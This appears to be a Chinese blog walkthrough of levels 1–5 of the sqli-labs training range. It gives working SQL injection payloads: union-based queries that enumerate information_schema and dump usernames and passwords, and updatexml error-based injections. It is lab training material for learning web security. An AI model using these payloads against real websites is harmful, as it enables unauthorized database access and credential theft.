sqli-labs-master靶场通关

目录

一、sqli-labs第一关 

1.判断是否存在sql注入

(1)提示输入数字值的ID作为参数,输入?id=1

 (2)通过数字值不同返回的内容也不同,所以我们输入的内容是带入到数据库里面查询了

 (3)接下来我们判断sql语句是否是拼接,且是字符型还是数字型

2.联合注入

(1)首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数

(2)爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的

(3)获取当前数据名和版本号,通过结果知道当前数据看是security,版本是8.0.12

(4)爆表

(5)爆字段名

(6)查询字段对应内容

二、sqli-labs第二关

三、sqli-labs第三关

四、sqli-labs第四关

五、sqli-labs第五关


一、sqli-labs第一关 

1.判断是否存在sql注入

(1)提示输入数字值的ID作为参数,输入?id=1

 (2)通过数字值不同返回的内容也不同,所以我们输入的内容是带入到数据库里面查询了

 (3)接下来我们判断sql语句是否是拼接,且是字符型还是数字型

 可以根据结果指定是字符型且存在sql注入漏洞。因为该页面存在回显,所以我们可以使用联合查询。联合查询原理简单说一下,联合查询就是两个sql语句一起查询,两张表具有相同的列数,且字段名是一样的

2.联合注入

(1)首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数

?id=1'order by 3 --+

?id=1'order by 4 --+

(2)爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的

?id=-1'union select 1,2,3--+

(3)获取当前数据名和版本号,通过结果知道当前数据看是security,版本是8.0.12

(4)爆表

information_schema.tables表示该数据库下的tables表,点表示下一级,where后面是条件

SELECT table_name FROM information_schema.tables WHERE table_schema = 'security';

group_concat()是将查询到结果连接起来

SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security';
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

(5)爆字段名

通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中。接下来我们就是得到该表下的字段名以及内容

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

该语句的意思是查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内,可以得到两个敏感字段就是usernamepassword

(6)查询字段对应内容

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

二、sqli-labs第二关

进入sqli-labs-master靶场第二关,加入参数?id=1

当输入单引号或者双引号可以看到报错,且报错信息看不到数字,所有我们可以猜测sql语句应该是数字型注入

使用order by 判断数据库有几列:3列回显正常,4列出现报错,说明只有3列

?id=1 order by 3

 使用联合查询union select判断回显位置

?id=-1 union select 1,2,3

发现2和3的回显,判断数据库名称

?id=-1 union select 1,database(),version()

查询到库名后查询库下所有表

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

判断users表中下的字段名称

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

 查询字段中的数据

?id=-1 union select 1,2,group_concat(username ,id , password) from users

三、sqli-labs第三关

进入sqli-labs-master靶场第二关,加入参数?id=1

加单引号判断闭合, 通过报错信息可以发现是以单引号和括号进行闭合的

?id=2')--+

 使用order by判断数据库有几列:3列回显正常,4列出现报错,说明只有3列

?id=1') order by 3--+

使用联合查询union select判断回显位置

?id=-1') union select 1,2,3--+

发现2和3的回显,判断数据库名称

?id=-1') union select 1,database(),version()--+

查询到库名后查询库下所有表

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

判断users表中下的字段名称

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

查询字段中的数据

?id=-1') union select 1,2,group_concat(username ,id , password) from users--+

四、sqli-labs第四关

根据页面报错信息得知sql语句是双引号字符型且有括号,通过以下代码进行sql注入(与第三关步骤相同)

?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+

五、sqli-labs第五关

进入sqli-labs-master靶场第五关,加入参数?id=1

发现没有回显,判断闭合方式为单引号闭合

?id=1' and 1=1--+

?id=1' and 1=2--+

 爆库名

?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+

爆表名

?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),1) --+

只有1列加入参数

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+

 爆列名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+

 爆数据

?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,password)from users),0x7e),1) --+

  • 19
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值